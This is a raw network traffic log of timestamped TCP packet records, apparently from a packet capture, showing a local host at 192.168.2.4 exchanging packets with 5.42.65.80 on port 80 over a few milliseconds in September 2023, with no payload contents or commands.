Sep 23, 2023 17:53:23.627355099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.627394915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.627463102 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.627557993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.627574921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.627597094 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.627623081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.627657890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.627670050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.627712965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.627742052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.627749920 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.627806902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.627842903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.627981901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.628053904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.628096104 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.628156900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.628173113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.628209114 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.628248930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.628405094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.628470898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.628487110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.628536940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.628576994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.628628016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.628709078 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.628720999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.628777981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.628853083 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.628962040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.629020929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.629060030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.629086018 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.629134893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.629169941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.629194975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.629224062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.629261017 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.629300117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.629348993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.629384995 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.629425049 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.629473925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.629514933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.629542112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.629698038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.629735947 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.629775047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.629846096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.629885912 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.629940987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.630160093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.630198956 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.630258083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.630347967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.630384922 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.630398035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.630428076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.630466938 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.630549908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.630786896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.630825043 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.630841017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.630893946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.630909920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.630935907 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.630959988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.630997896 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.631036997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.631117105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.631155968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.631195068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.631289005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.631311893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.631337881 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.631354094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.631393909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.631433964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.631980896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.632024050 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.632065058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.632131100 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.632167101 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.632224083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.632273912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.632308960 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.632312059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.632579088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.632616043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.632625103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.632663965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.632703066 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.632713079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.632790089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.632827997 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.632853985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.632924080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.632961035 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.632981062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.633085012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.633121967 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.633147001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.633297920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.633336067 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.633375883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.633579969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.633620024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.633660078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.633737087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.633778095 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.633788109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.633902073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.633939981 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.633965015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634131908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634170055 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.634210110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634275913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634291887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634313107 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.634337902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634376049 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.634414911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634454012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634489059 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.634509087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634577990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634614944 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.634634018 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634711027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634747982 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.634762049 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634778023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634815931 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.634841919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634916067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.634954929 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.635157108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.635215044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.635251999 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.635272026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.635325909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.635341883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.635363102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.635945082 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.635987997 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.635998011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.636030912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.636070013 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.636117935 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.636135101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.636169910 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.636236906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.636306047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.636343956 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.636383057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.636833906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.636873960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.636873960 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.636948109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.636985064 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.637023926 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.637109041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.637147903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.637159109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.637213945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.637250900 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.637259007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.637533903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.637573957 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.637731075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.637823105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.637860060 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.637886047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.637957096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.637993097 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.638017893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.638091087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.638128042 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.638128996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.638567924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.638607979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.638647079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.638735056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.638770103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.638792992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.638839960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.638876915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.638878107 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.638948917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.638983965 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.639034033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.639420986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.639460087 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.639509916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.639631987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.639668941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.639780045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.639864922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.639900923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.639962912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.640124083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.640167952 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.640266895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.640530109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.640557051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.640579939 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.640734911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.640778065 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.640827894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.640933037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.640971899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.641004086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.641077995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.641117096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.641141891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.641365051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.641398907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.641427040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.641781092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.641824007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.641875029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.641922951 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.641958952 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.641964912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.642004967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.642045021 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.642095089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.642117023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.642153978 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.642184973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.642698050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.642740965 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.642764091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.642842054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.642863989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.642878056 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.642940044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.642966986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.642976999 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.643019915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.643055916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.643085003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.643646955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.643690109 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.643721104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.643789053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.643831015 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.643861055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.643944025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.643984079 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.644032955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.644076109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.644117117 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.644146919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.644622087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.644669056 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.644721031 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.644803047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.644843102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.644866943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.644947052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.644994974 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.645169973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.645222902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.645243883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.645260096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.645576954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.645622969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.645673990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.645724058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.645764112 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.646023989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.646074057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.646115065 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.646131039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.646171093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.646208048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.646214008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.646599054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.646644115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.646861076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.646923065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.646956921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.646970034 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.647018909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.647057056 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.647142887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.647186995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.647208929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.647222996 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.647291899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.647330999 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.647360086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.647706032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.647751093 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.647764921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.647818089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.647855043 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.647886992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.647927046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.647948027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.647965908 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.648015022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.648057938 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.648063898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.648804903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.648852110 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.648854017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.648942947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.648963928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.648982048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.649066925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.649092913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.649106979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.649142027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.649182081 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.649241924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.649832010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.649880886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.649899960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.649950027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.649976969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.649990082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.650019884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.650059938 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.650158882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.650186062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.650227070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.650425911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.650731087 CEST	80	49781	5.42.65.80	192.168.2.4
